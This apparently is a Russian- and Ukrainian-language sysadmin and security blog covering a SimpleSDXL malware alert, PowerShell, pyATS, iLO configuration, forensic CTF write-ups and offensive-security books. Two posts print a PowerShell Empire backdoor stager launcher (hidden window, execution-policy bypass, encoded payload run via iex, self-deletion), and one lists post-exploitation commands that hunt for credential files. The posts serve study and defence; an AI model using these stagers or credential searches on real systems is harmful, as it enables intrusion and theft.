Главная


Showing posts with label framework. Show all posts
Showing posts with label framework. Show all posts

Wednesday, 15 January 2025

SimpleSDXL алерт.

 


Привіт привіт.

Зважаючи на тещо криптомайнери не сплять їм постійно хочеться використати ІТ-потужності фанів GenAI, бажано по тихому. Ось прилетіла чергова новина, вже про SimpleSDXL.

Відомо що Fooocus форк SimpleSDXL значною мірою залежить від пакета simpleai_base, що належить тому ж автору. Пакет simpleai_base містить скомпільований Rust-код, який включає приховану функцію віддаленого доступу з використанням Rust crate rathole, яка і виконує збір великої кількості системної інформації за допомогою прихованих викликів системних виконуваних файлів та нерозкриту функцію phone-home, яка завантажує цю інформацію на tokentm.net  домен, пов'язаний із блокчейном. Нещодавно simpleai_base було видалено з PyPI після того, як про нього повідомили з тих самих причин, однак поточний код SimpleSDXL замість нього все ще встановлює попередньо скомпільоване wheel, завантажене з Github. Повний текст повідомлення тут.

Тому, наприклад, Stability Matrix терміново оновив свій код і виключив з переліку підтримки SimpleSDXL  на своїй платформі. До того ж сам автор SimpleSDXL в оcтанній версії AIO частину функцій підключив (чи заблокував) через якийсь Identity Manager. Чи то автор проєкту SimpleSDXL поступово переходить на комерційні рейки чи все більше орієнтується на запити китайських користувачів, мені невідомо. Але що є то є, тому користуватися вам далі SimpleSDXL  чи ні, вирішувати вам. Я би радив поставити його на паузу, або поки що відключити автоматичне оновлення SimpleSDXL при запуску.

Stay in touch.

Friday, 3 March 2023

Обход запрета ConstrainedLanguage.


Всем привет.

Как известно Windows имеет один из механизмов защиты для Powershell - Constrained Language mode (Режим с Ограничением языка) который запрещает ряд специальных типов и объектов и функций .NET, типа: Add-Type, New-Object, классов .NET [console] и многого иного.

Проверку вашого текущего режима можно выполнить так: 
$ExecutionContext.SessionState.LanguageMode

Режим ConstrainedLanguage лимитирует PowerShell нормированным подмножеством одобренных и безопасных свойств. Команда New-Object несомненно не относится к подобным безопасным функциональным возможностям, поскольку она определяет объекты .NET или COM, которые расширяют богатство PowerShell для взаимодействия с внутренними компонентами Windows.

Component Object Model (COM, модель компонентных объектов) это разработанный Microsoft стандарт для управления взаимодействием между процессами. Такая программа как Internet Explorer способна зарегистрировать некий объект COM, который определяет подобные FetchURL, DownloadFile, BrowseToPage и тому подобные методы. Затем некий сценарий Visual Basic способен конкретизировать такой объект COM и вызвать его методы для какой-либо необходимой цели. То же самое верно и для сценария Python, который понимает COM, сценария PowerShell, программы C++ и так далее. Внутреннее устройство COM несколько сложнее того, что следует из данного пояснения, но основная суть в том, что цель COM именно и заключается в наличии унифицированного способа вызова удалённых процедур, публикуемых прочими программами. Вы можете догадаться почему создание COM-объектов запрещено в режиме с Ограничениями языка PowerShell, ибо они делают возможным взаимодействие с внутренними компонентами Windows, а в конечном итоге, избегать ограничений.

.NET во многом следует стандарту COM и подменяет COM в предоставлении полной инфраструктуры для разработки, сборки и запуска приложений в Windows. В точности как и с объектами CON, сы можем применять типы и классы .NET для активации произвольных API Windows для считывания файлов, создания процессов, отправки сетевых пакетов и многого иного. Все допускающий такой низкоуровневый доступ свойства .NET, таким образом, блокируются режимом с Ограничениями языка PowerShell, включая интенсивно применяемую команду add-type, которая способна определять новые классы из естественного кода C#.

Тем самым, большинство наступательных сценариев PowerShell рынка, которые обязательно полагаются на такие функциональные возможности, превращаются в почти бесполезные по причине режима с ConstrainedLanguage, настроек безопасности, представленных в механизме исполнения PowerShell версии 5 (он же Windows Management Framework версии 5, или WMF 5).

Sunday, 1 January 2023

Тестирование инфраструктуры c pyATS #3.

Всем привет. 

Продолжаю нашу тему фреймворков для тестирования инфраструктры. Сегодня мой пост является беглым отчетом по выполнению работы "7.6.3 Lab - Automated Testing Using pyATS and Genie" из Cisco DevNet.

Знакомтесь - pyATS (https://developer.cisco.com/pyats/). Это экосистема сквозного тестирования, изначально разработанная компанией Cisco и ставшая открытой в конце 2017 года. Ранее библиотека pyATS называлась Genie; эти названия используются в одном и том же контексте. Ввиду своего происхождения этот фреймворк целиком и полностью ориентирован на тестирование сетей.

Фреймворк доступен в PyPI:

(venv) $ pip install pyats[full]

Для начала рассмотрим некоторые демонстрационные сценарии из GitHub-репозитория:

git clone https://github.com/CiscoTestAutomation/examples

Мы сходу можем прогнать тест-пустышку чтобы оценить как все происходит:

pyats run job examples/basic/basic_example_job.py

Следом можно охватить отчетность по всем проведенным PyATS-тестам в формате HTML:

pyats logs view

P.S.: имейте ввиду - порт web-сервера отчетов динамический.


Ок, реальные тесты начинаются с создания файла испытательной модели (testbed) в формате YAML. Создадим простой testbed-файл testbed-pyats.yml для нашего устройства CSR1000v. Он похож на файл реестра hosts, знакомый нам от Ansible:

testbed: 

    name: pyATS

    credentials:

        default:

            username: admin

            password: super

        enable:

            password: super


devices:

    CSR: 

        alias: CSR

        type: iosxe

        connections:

            defaults:

                class: unicon.Unicon  

            vty:

                ip: 192.168.1.19

                protocol: ssh -o KexAlgorithms=diffie-hellman-group14-sha1

Wednesday, 14 September 2022

Установка .NET Framework v3.5 в Windows Server.


Всем привет.

Довольно много приложений для своей работы в Windows Server или Windows 10 требуют наличия предустановленного .NET Framework 3.5 несмотря на наличие в системе .NET Framework более высоких версий. К примеру, без .Net 3.5 вам не удасться установить и запустить SQL Management Studio. Такой вот загадочный Microsoft. Ну что ж, будем выкручиваться.

Если на вашем Windows Server есть прямой доступ в Интернет, вы можете установить .NET Framefork 3.5 несколькими способам:

  • через Server Manager;
  • с помощью DISM: DISM /Online /Enable-Feature /FeatureName:NetFx3 /All
  • с помощью PowerShell: Install-WindowsFeature NET-Framework-Core

При этом все необходимые файлы .NET 3.5 для вашей версии Windows Server загружаются с серверов Windows Update. Чтобы сработал этот метод установки нужно убедиться в:

  • сервер не настроен на локальный WSUS сервер для получения обновлений (проверьте настройки обновлений в групповых политиках или напрямую в реестре: REG QUERY "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -v WUServer)
  • настройки прокси-сервера и файервола не должны ограничивать доступ к серверам Windows Update.

Если с вашего сервера нет прямого доступа в Интернет (что есть правильно), то при попытке установить .NET 3.5 в Windows Server через консоль Server Manager (Add Roles and Features -> Features -> Net Framework 3.5 Features, установка заканчивается с ошибкой 0x800f081f (The source files could not be found) или 0x800F0950.

Хотя .NET Framework 3.5 присутствует в списке компонентов Windows Server 2016/2019, на самом деле его бинарные файлы в хранилище компонентов Windows отсутствуют (концепция Features on Demand). Это сделано, чтобы уменьшить размер ОС на диске. Вы можете проверить наличие.NET Framework 3.5 в локальном хранилище компонентов Windows Server с помощью команды:

Get-WindowsFeature *Framework*

Обычно вы увидите статус компонента NET-Framework-Core для версии 3.5 как Removed.

Thursday, 8 September 2022

Запуск внешней программы из PowerShell.

Всем привет.

Задача запустить из PowerShell какой либо исполняемый файл  (программу или утилиту командной строки) встречается достаточно часто. Последний раз я с этим столнкнулся бувкально на днях когда правил шаблон BGinfo. PowerShell предлагает для этого несколько различных способов, которые рассмотрим далее.

Я рассматриваю универсальный случай когда под внешнюю программу подставляют командный файл, уже из которого после можно вызвать что душа пожелает.

$exec = "d:\1st.cmd"

Секция прямого вызова:

.$exec

& $exec

cmd /c $exec


Секция  Invoke-командлетов:

Invoke-Expression -Command $exec

Invoke-Item -Path $exec

Invoke-Command -ScriptBlock {& $exec}

Friday, 26 August 2022

WinForms альтернативи.

Всім привіт.

Сьогодні поговоримо про альтернативи створення WinForms.

WPF vs ShowUI

Windows Presentation Foundation (WPF) є іншим, новішим засобом створення GUI в .NET. Ми не говоримо про інструмент точно так само, як PowerShell Studio для WPF, але ви можете не відчувати того що він вам потрібен. WPF не створює графічний інтерфейс програмно, як це робить WinForms. Натомість визначення графічного інтерфейсу  міститься у файлі XML (технічно конкретний формат XML називається XAML, для Extensible Application Markup Language). Ви можете отримати будь-яку з  безкоштовних «Express» версій Visual Studio та використовувати її вбудований інструмент для створення форм WPF, який дуже схожий на PowerShell Studio, для створення файлу XAML. Тоді просто скажемо PowerShell (ну, ви скажете .NET) завантажити XAML і щось з ним зробити. Наступний код демонструє приклад того, про що ми говоримо.


Saturday, 13 August 2022

Конфигурация ILO.


Всем привет.

В процесс администрирования для iLO актуально две вещи - это пароль администратора и ее IP-адрес. И то и другое можно потерять или забыть поэтому стоит знать как же его узнать или поменять.

Вы можете сбросить пароль администратора iLO непосредственно из запущенной операционной системы. Однако это в том случае если у вас есть доступ к ОС Windows, а не самой ILO!

Для этого используется официальная утилита HPE - hponcfg или HP Online iLO Configuration для Windows (и вам потребуется предварительная установка драйвера iLO Management Interface Driver в операционной системе, которая запущена на сервере. Версия iLO для драйвера важна).

На самом деле утилита hponcfg позволяет из локальной командной строки на сервере изменить любые настройки iLO без перезагрузки сервера (выполнить Reset iLO): сетевые настройки интерфейса iLO (IP адрес, шлюз, подсеть), импортировать/экспортировать и сбросить конфигурацию.

Сначала рекомендуется сохранить текущую конфигурацию ILO в xml-файл:

hponcfg.exe /w current_config.xml

Затем создайте новый файл reset_admin_password.xml с текстом:

<ribcl VERSION="2.0">

<login USER_LOGIN="Administrator" PASSWORD="password">

<user_INFO MODE="write">

<mod_USER USER_LOGIN="Administrator">

<password value="NewPassword"/>

</mod_USER>

</user_INFO>

</login>

</ribcl>

Чтобы применить к iLO конфигурацию с новым паролем, выполните:

hponcfg.exe /f reset_admin_password.xml /l hplog.txt

Saturday, 18 June 2022

PowerShell для тестирования Windows.

Всем привет.

Статья содержит список PowerShell команд, собранных из разных уголков Интернета, которые могут быть полезны во время тестов на проникновение. Я их нашел на Leakinfo, March 19, 2021.

Список команд включает в себя различные пост-эксплуатационные однострочные программы в чистой PowerShell, не требующие каких-либо потенциально помеченных как вредоносные сторонних модулей, а также набор удобных административных команд. Часть команд вам выдаст пустой ответ – анализируйте сами, бывает разное, либо запрашиваемое значение действительно отсутствует либо оно находится в другом месте реестра.

Поиск файлов с конфиденциальной информацией

Следующие команды PowerShell могут быть полезны на этапе после эксплуатации для поиска файлов на диске, которые могут содержать учетные данные, сведения о конфигурации и другую конфиденциальную информацию.

Ищем потенциально интересные файлы

С помощью этой команды мы можем идентифицировать файлы с потенциально конфиденциальными данными, такими как информация об учетной записи, учетные данные, файлы конфигураций и т.д., на основе их имени файла:

Код:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

Рекомендуется сделать это для каждого диска, но вы также можете просто запустить его в папке c:\users для некоторых быстрых результатов.

Ищем учетные данные в файлах Sysprep или Unattend

Эта команда будет искать остатки автоматических установок и автоконфигураций, которые потенциально могут содержать пароли в открытом виде или пароли в кодировке base64:

Код:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

Это один из хорошо известных методов повышения привилегий, так как обычно используется пароль локального администратора. Рекомендуется сделать это для каждого диска.

Sunday, 5 June 2022

Расследование взлома компьютера с Windows, CTF #2.

Всем привет.

Вторая часть серии CyberDefenders.org представляет собой еще более увлекательную криминалистическую CTF. Как обычно, цель состоит в том, чтобы ответить на ряд типичных вопросов реагирования на инциденты, связанные с заражением вредоносным ПО.

Вам предоставляются следующие файлы, которые помогут в анализе:

- дамп необходимых лог-файлов в формате Json (для анализа будем использовать jq)

- ELK с графическим интерфейсом Kibana

Поэтoму на этот раз образ весит все 7 Гб. Скачали? Тогда начнем.

1) Процесс Threat Hunting обычно начинается с того, что аналитик выдвигает гипотезу о возможном векторе компрометации или методах, используемых злоумышленником. В этом сценарии ваша первоначальная гипотеза выглядит следующим образом: 

«Злоумышленник использовал механизм подписки WMI для обеспечения устойчивости в инфраструктуре». Проверьте эту гипотезу и найдите имя потребителя событий WMI, используемого злоумышленником для сохранения своей позиции.

Выполним запрос:

cat cyberpolygon-2020-data.json | jq 'select(._source.event_id=="5861")'

или отфильтруем в Кibana:

event_id:5861


Ответ:

PowerControl Consumer

Wednesday, 1 June 2022

Расследование взлома компьютера с Windows, CTF #1.

Всем привет.

Если вы интересуетесь информационной безопасностью, то наверняка знакомы с площадками для оттачивания хакерского мастерства, такими как Hack The Box,  а для специалистов компьютерной криминалистики существует альтернативная платформа CyberDefenders.  И я заглядываю туда время от времени, чтобы вспомнить былое.

Обычно дело обстоит так - по сценарию форензик кейса в исходящем трафике сети компании CyberCorp был выявлен ряд аномалий, что говорит о взломе. Специалисты ИБ успешно изолировали скомпрометированный хост от сети и собрали важные артефакты Windows. Артефакты лежат в архиве, который вам необходимо скачать. По результатам решения кейса нас, как специалистов по расcледованию инцидента, попросят ответить на ряд вопросов. 

По ходу нам предоставляются следующие файлы (артефакты Windows), которые подвергаются анализу:

Amcache.hve - файл реестра, содержит информацию о запускаемых приложениях.  Расположение файла Amcache: \%SystemRoot%\AppCompat\Programs\Amcache.hve

AppCompatCache.reg - информация из ключа куста реестра SYSTEM (C:\Windows\System32\configSystem):

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

В этом ключе содержится артефакт Shimcache - эта функция обеспечивает совместимость старых приложений с более новыми версиями ОС. В нем хранится информация: путь к файлу, время последнего изменения и размер исполняемого файла.

Файлы реестра: default, SAM, SECURITY, software, system. Расположение файлов: C:\Windows\System32\config

Windows event logs (формат evtx). Расположение файлов: C:\Windows\System32\winevt\Logs

User Registry Hives - файл NTUSER.DAT содержит информацию, связанную с действием пользователя. Файлы NTUSER.DAT хранятся в каталоге: %userprofile%

Windows Prefetch - файл оптимизации запуска приложений. Файлы Prefetch могут содержать важную информацию, такую как: имя исполняемого файла, список динамических библиотек, используемых исполняемым файлом, количество запусков исполняемого файла и временную метку, которая указывает, когда приложение было запущено в последний раз. Расположение файлов: C:\Windows\Prefetch

Копия NTFS $MFT. MFT - системный файл ОС, содержит метаданные объекта файловой системы. MFT находится в корне разделов NTFS, выгрузить его можно инструментом FTK Imager.

OBJECTS.DATA - файл содержит постоянные классы WMI (Windows Management Instrumentation). Расположение файла: %SystemRoot%\System32\wbem\Repository

Рartial registry dump - файл образа RAM.

2 packet captures файла (формат pcapng) - сетевой трафик, полученный в результате мониторинга сети организации.

Thursday, 21 April 2022

Бекдор на Powershell.


Всем привет.

Занимаясь  по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь  тест, то код бекдора находится легко. Собственно моя находка представлена ниже:

# 2>NUL 

& @CLS 

& PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" 

& POPD /B powershell -noP -sta -w 1 -enc  

тут далее следует код нагрузки(payload) в кодировке Base64:

SQBGACgAJABQAFM.... и т.п.

Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:

1) ключи запуска:

-nol :NoLogo

-nop :NoProfile

-ep  :ExecutionPolicy Bypass

-sta :1 stream execution

-w 1 :Window style hidden

-enc :Encoded by base64

2) команда исполнения:

iex  :InvokeExpression

Thursday, 14 April 2022

NET и Powershell.

Всем привет.

PowerShell может быть мощным инструментом устранения неполадок в сети благодаря своему использования классов  .NET Framework. Для расширения кругозора по связке PowerShell с .NET следует ознакомиться с некоторыми полезными классами .NET, которые можно использовать для, например, решения проблем с сетью и написания других PowerShell-сценариев. В сети есть многo примеров на Powershell потому как создать сканер портов для проверки открытых портов в вашей сети, отправки и получения данных между портами, создавать форматированные пакеты для отправки Direct-запросов (LDAP) к контроллеру домена и обработки ответных пакетов для эмуляции вывода из интерфейса командной строки утилиты portqry.exe.  Используя такие методы и сценарии, вы иметь возможность устранять неполадки приложений в вашей сети, проверяя доступны ли необходимые порты в системе или они заблокированы, либо программным обеспечением на сервере, либо чем-то еще, например аппаратным брандмауэром или список управления доступом (ACL) на коммутаторе.

Ниже я покажу как создать объект прослушивателя TCP, который будет служить открытым портом в вашей системе, чтобы клиенты могли подключаться к вашей системе. Также мы напишем и TCP -передатчик. 

Но прежде чем продолжить следует уяснить для себя некоторую сетевую терминологию .NET:

1. Port идентифицирует различные приложения, службы или процессы, работающие на одной системе и позволяет им совместно использовать одно физическое соединение в сети. Можно считать его как вход к конкретному экземпляру приложения на хосте. Если порт открыт, вы можете общаться с приложением на другой стороне, но вы не можете установить соединение если порт закрыт или заблокирован (фильтруется фаерволлом).

2. EndPoint - это логическое окончание сетевого соединения между клиентом и сервером, который позволяет использование сетевые потоки для связи друг с другом. Конечная точка также предоставляет утилиту чтобы увидеть, активно ли соединение и доступны ли потоки для чтения или для записи, а также для настройки размера буферов для этих потоков.

3. Socket - это экземпляр конечной точки двусторонней связи между двумя приложениями в одной сети путем сопряжения IP-адреса с портом.

Пример с отправкой данных - не самая сложная часть, но базово важная. Чтобы отправить что-либо между портами, данные должны быть преобразованы в байты, это необходимо для самого процесса передачи данных. 

Tuesday, 23 November 2021

Практические кейсы с Volatility.

Всем привет.

Анализ памяти ОС актуален в ситуации, когда есть или был физичес­кий дос­туп к компьютеру и была возможность снять дамп опе­ратив­ной памяти. По слепку оперативной памяти мож­но опре­делить, какие при­ложе­ния запус­кались во вре­мя работы компьютера, дан­ные про­цес­сов и получить другую полезную информацию. Все это можно сделать пока пользователь не вык­лючил или не перезаг­рузил компь­ютер. Suspend состояние ОС идеально для этого подходит.

Как правило, для ана­лиза оперативной памяти используют нес­коль­ко при­ложе­ний: Volatility, Memoryze и Autopsy. Autopsy конечно же удобный инструмент, который может одним нажатием кнопки сделать комплексный анализ всего дампа. Но, если речь идет о кейсах когда вы ограничены о времени, тогда важна скорость получения результатов, т.е. лучше использовать, что-то другое консольное. Поэтому сегодня я для анализа дампа оперативной памяти буду исполь­зовать Volatility.

Для своих тестов я взял три дампа Windows:

1) ch2.dmp, Win7SP0x86 получен здесь.

2) memdump.mem, WinXPSP3x86 получен самостоятельно.

3) challenge.vmem, Win10x64_18362 получен здесь.

Сразу оговорюсь что с третьим кейсом у меня получился фейл. Традиционный запрос на определение профиля дампа:

volatility_2.6_win64_standalone.exe -f challenge.vmem imageinfo

мне ничего не выдал. Даже подстановка вручную профиля Win10x64 к успеху не привела. Так что далее я работал только с первыми двумя дампами.

Case 1.

Получение имени компьютера, с моей точки зрения, не является чем-то важным, поэтому это присходит буквально за два шага извлечением значения ключа реестра из ControlSet001\Control\ComputerName\ActiveComputerName:

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 hivelist

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 hivedump -o 0x8b21c008 > hi_dump.txt

findstr "ComputerName" hi_dump.txt

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 printkey -K "ControlSet001\Control\ComputerName\ActiveComputerName"

В качестве бонуса к заданию я попытался реконструировать снимок последнего desktop-a.

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 screenshot -D F:\Case\Dump

Однако сборка версии 2.6 заточена на библиотеку PIL, где и я получил ошибку "Please Install PIL". PIL уже давно именуется как Pillow, что требует перекомпиляцию всего кода volatility, поэтому более быстрым решением стало использование версии volatility 2.4:

volatility-2.4.standalone.exe -f ch2.dmp --profile=Win7SP0x86 screenshot --dump-dir=/


Wednesday, 10 November 2021

iLO 5 и удаленное управление.

Всем привет.

Сегодня глянем одни глазком на iLO 5 на базе сервера HPE Proliant Gen10. Собственно массивный обзор с большим количеством скриншотов находится здесь.  Лично у меня была задача выяснить все способы удаленного управления iLO. Integrated Lights-Out (iLO) - механизм управления серверами в условиях отсутствия физического доступа к ним. Этакая проприетарная ОС на борту, которая применяется фирмой Hewlett Packard почти для всех своих серверов.

Первым мне поддержка НР указала на утилиту Directories Support for ProLiant Management Processors.

# Directories Support for ProLiant Management Processors: DirSupport.exe

Собственно с ее помощью можно легко выяснить активные iLO в вашей сети. Разумеется нужна учетка админа iLO. Поэтому желательно чтобы она была одинакова на всех ваших iLO.

Можно также выполнить следующее:

1.Find management processors on the network.

2.Upgrade their firmware to versions that support directories.

3.Give them names that will be used to identify them in the directory.

4.Create objects in the directory corresponding to each management processor and associate them to a role.

5.Configure the management processors to allow them to communicate with the directory.

6.Configure management processors for Kerberos based authentication.

Следующим инструментом может быть HPQLOCFG - это программное обеспечение командной строки, которое позволяет отправлять XML-конфигурационные и управляемые сценарии по сети на интерфейс HP iLO.

# HP Lights-Out Configuration Utility: HP ILO Remote Console.exe

Исполняемый файл после инсталяции hpqlocfg.exe

Подсоединение делаем так:

hpqlocfg -f Factory_Defaults.xml -s 192.168.0.10 -t user=administrator,password=mypass

Вот содержимое файла Factory_defaults.xml:

<RIBCL VERSION="2.0">

   <LOGIN USER_LOGIN="adminname" PASSWORD="password">

      <RIB_INFO MODE="write">

         <FACTORY_DEFAULTS/>

      </RIB_INFO>

   </LOGIN>

</RIBCL>

Tuesday, 9 November 2021

Про PowerShell Empire Framework.

Всем привет.

Наша жизнь невозможна без фреймворков. Фреймворки помогают создавать код, помагают выполнять код, и помогают код исследовать. Сегодня говорим про иcследование кода.

Мы любим PowerShell, но когда на нем еще и создан фреймворк, то мы любим его вдвойне. PowerShell Empire Framework - это фреймворк для пост эксплуатации windows(и не только!) систем, написанный полностью на PowerShell (серверная часть на Python, а клиентская на PowerShell, поэтому легко поднять серверную часть на том же Kali Linux, что я и сделал) который имеет в себе огромный функционал. Как вы заметили что помимо того, что он используется для постэксплуатации (повышение привилегий и закрепленния в системе) он активно используется и для активного фишинга, обхода антивируса и эксплуатации уязвимостей и одна из главных фишок - отлично используется для атак на AD (PowerView). 

Тут и далее я бы начал рассказывать вам про инсталяцию PowerShell Empire Framework, про листенеры, стейджеры и агенты, про огромный список модулей постэксплуатации на все случаи жизни, про все то что красиво описано во многих других местах сети, но... не буду. Смотрите сюда, и повторяйте шаг за шагом. Если вам это интересно. Алгоритм работы очень похож на работу с Metasploit в том же Kali Linux. Кто из них лучше? По моему оба хороши.

По своему первому тесту PowerShell Empire Framework могу сказать что код агента по умолчанию направлен на разовое исполнение с последующим удалением себя на жертве как файла. Полезная нагрузка агента (payload) обфусфицирована в base64.

Пример:

#2>NUL & @CLS & PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" & POPD /B powershell -noP -sta -w 1 -enc ..., тут далее следует код нагрузки.

На что следует обратить внимание - генерируемый код stagers в виде файла Powershell Empire теперь ложит в папку kali\Empire\empire\client\generated-stagers или в зависиммости от места самой инсталяции Powershell Empire в /usr/share/powershell-empire/empire/client/generated-stagers.


При этом Empire все равно что мы там указали предварительно в параметр Outfile.

Также полезно помнить что Powershell Empire вывод агента пишет в журнал который можно найти здесь:

kali\Empire\empire\server\downloads\<AgentName>\agent.log

Для каждого агента своя папка. Вот для моего агента ABX2G8DY была такая:

kali\Empire\empire\server\downloads\ABX2G8DY\agent.log

Friday, 23 July 2021

Применение потоков в Powershell.

Вcем привет.

Из потоков в Powershell я нашел применение регулярным запросам по фильтрации неактивных аккаунтов  в домене. Мой скрипт ниже.

Заблокированные учетки:

workflow Get-LockedOut {

Search-ADAccount -Server pdc.forza.com -UsersOnly -LockedOut | sort LastLogonDate | Select Name,LastLogonDate,DistinguishedName |   Export-Csv "d:\Monitoring\LockedUsers.csv" -Encoding UTF8

 }

Отключенные учетки:

workflow Get-DisabledUsers {

Search-ADAccount -Server pdc.forza.com -UsersOnly -AccountDisabled | sort Name | Select Name,LastLogonDate,DistinguishedName |   Export-Csv "d:\Monitoring\DisabledUsers.csv" -Encoding UTF8

 }

Отключенные учетки готовые к переносу:

workflow Get-DisabledUsers2OLD {

 Search-ADAccount -Server pdc.forza.com -UsersOnly -AccountDisabled | Where {$_.DistinguishedName -notlike "*OU=OLD_Users,OU=OLD,DC=forza,DC=com"} |  sort Name | Select Name,LastLogonDate,DistinguishedName | Export-Csv "d:\Monitoring\DisabledUsers2OLD.csv" -Encoding UTF8

 }

Неактивные учетки в течение месяца:

workflow Get-InactiveUsers30 {

$t30 = New-Timespan –Days 30

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t30 | sort Name | Select Name,LastLogonDate,DistinguishedName |  Export-Csv "d:\Monitoring\InactiveUsers30a.csv" -Encoding UTF8

   }

Неактивные учетки в течение года:

workflow get-InactiveUsers365 {

$t365 = New-Timespan –Days 365

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t365 | sort Name | Select Name,LastLogonDate,DistinguishedName |  Export-Csv "d:\Monitoring\InactiveUsers365a.csv" -Encoding UTF8

    }

Неактивные учетки в течение года готовые к переносу:

workflow get-InactiveUsers365noOld {

$t365 = New-Timespan –Days 365

Search-ADAccount -Server pdc.forza.com –UsersOnly –AccountInactive –TimeSpan $t365 | Where {$_.DistinguishedName -notlike "*OU=OLD_Users,OU=OLD,DC=forza,DC=com"} | sort Name | Select Name,LastLogonDate,DistinguishedName | Export-Csv "d:\Monitoring\InactiveUsers365b.csv" -Encoding UTF8

   }

Неактивные учетки без единого входа:

workflow Get-InactiveUsersNoLogin {

Get-ADUser -Server pdc.forza.com -filter {(Enabled -eq 'False') -and (lastlogondate -notlike '*')} -properties CN,Enabled,DistinguishedName | Select CN,Enabled,DistinguishedName | Export-Csv "d:\Monitoring\InactiveUsersNoLogin.csv" -Encoding UTF8

}

Запускаем все запросы параллельно:

workflow get-ADReport {

  parallel {

  Get-LockedOut 

  Get-DisabledUsers 

  Get-DisabledUsers2OLD 

  Get-InactiveUsers30 

  Get-InactiveUsers365

  Get-InactiveUsers365noOld

  Get-InactiveUsersNoLogin 

  }

}

Get-ADReport

Готово!

Tuesday, 10 September 2019

Лучшие бесплатные системы мониторинга ИТ-инфраструктуры.

Всем привет.

Существует множество программных продуктов, как коммерческих, так и бесплатных (с открытым исходным кодом), которые могут помочь вам осуществлять мониторинг вашей ИТ инфраструктуры и уведомлять о любых сбоях. Учитывая большое количество предложений на рынке, не просто найти нужный вам вариант, который впишется в ваш ценовой диапазон. Хорошие новости для многих из нас заключаются в том, что на рынке доступны мощные решения для мониторинга ИТ-инфраструктуры с открытым исходным кодом. Спасибо сообществам разработчиков программного обеспечения с открытым исходным кодом за их работу.

Давайте взглянем на лучшие варианты из доступных на рынке бесплатных систем мониторинга ИТ-инфраструктуры и определим, может что-то подойдет и нам.

Nagios

Сообщество Nagios (https://www.nagios.org/), ведущее свою историю с 1999 года, является одним из лидеров отрасли в области решений для мониторинга ИТ-инфраструктуры любого масштаба — от малого до корпоративного уровня.

Программное решение для мониторинга компьютерных систем и сетей Nagios способно осуществлять мониторинг практически любых компонентов, включая сетевые протоколы, операционные системы, системные показатели, приложения, службы, веб-сервера, веб-сайты, связующее программное обеспечение (Middleware) и т. д..

Базовая функциональность системы для мониторинга Nagios реализована на ядре Core 4, который обеспечивает высокий уровень производительности за счет меньшего потребления ресурсов сервера.



Вы можете, используя плагин, интегрировать его практически с любым типом стороннего программного обеспечения, причем, скорее всего, этот плагин кто-то уже написал (https://www.nagios.org/projects/nagios-plugins/).

Если вы используете связующее программное обеспечение (Middleware), вы можете использовать Nagios для мониторинга WebLogic, WebSphere, JBoss, Tomcat, Apache, URL, Nginx и т. д..

Tuesday, 25 June 2019

Книги по наступательной информационной безопасности.

Всем привет.

Любую достаточно развитую технологию можно сравнить с оружием: когда у врага есть ружье, а у тебя нет, поневоле хочется изменить баланс сил в свою пользу. В области IT-безопасности знания, передаваемые различными способами, и есть то самое оружие, использование которого ограничивается не столько нормами уголовного кодекса, сколько этическим выбором.

Невозможно стать профессионалом в области информационной безопасности, не понимая тонкостей проникновения и обнаружения уязвимостей. Все книги в сегодняшней подборке похожи на заряженную винтовку, которую хочется иметь в качестве защиты: они обязательны для изучения как начинающим исследователям безопасности, так и специалистам, желающим расширить границы своих знаний.

Итак поехали - 16 лучших книжек в области информационной безопасности. 

Penetration testing, A hands-on introduction to hacking



В практическом руководстве по тестированию на проникновение эксперт по вопросам безопасности Georgia Weidman рассказывает об основных методах хак-тестирования, а также проводит серию практических занятий с такими инструментами, как Wireshark, Nmap и Burp Suite. Тесты проводятся на основе платформы Kali Linux — основной операционной системе для тестов на проникновение и проверку безопасности.

Georgia Weidman профессионально занимается тестированием, является основателем компании консалтинговой безопасности Bulb Security, выступает на таких конференциях как Black Hat, ShmooCon и DerbyCon. Также она получила грант FastTrack DARPA Cyber — для продолжения работы в области безопасности мобильных устройств. К созданию книги Georgia привлекла известного в узких кругах исследователя — Peter Van Eeckhoutteaka, основателя Corelan Security Team.

Thursday, 20 June 2019

Violent Python Book.

Hi all.

It's very good news for us. I found good book "Violent Python" by TJ O’Connor for Python Programmers. Maybe is you). Python is a hacker's language evidently. It's great language. Python provides an excellent development platform to build your own offensive tools. If you are running Linux, odds are it is already installed on your system. While a wealth of offensive tools already exist, learning Python can help you with the difficult cases where those tools fail.

Note for you - it's not previous book "Python Programming for Hackers and Reverse Engineers" by author Justin Seitz. I wrote about it earlier.

Look here.

Chapter 1 introduces for us Python basics. If you are know it so you can skip this light chapter.

Chapter 2 introduces the idea of using the Python programming language to script attacks for penetration testing. The examples in the chapter include building a port scanner, constructing an SSH botnet, mass-compromising via FTP, replicating Conficker, and writing an exploit.

Chapter 3 utilizes Python for digital forensic investigations. This chapter provides examples for geo-locating individuals, recovering deleted items, extracting artifacts from the Windows registry, examining metadata in documents and images, and investigating application and mobile device artifacts.

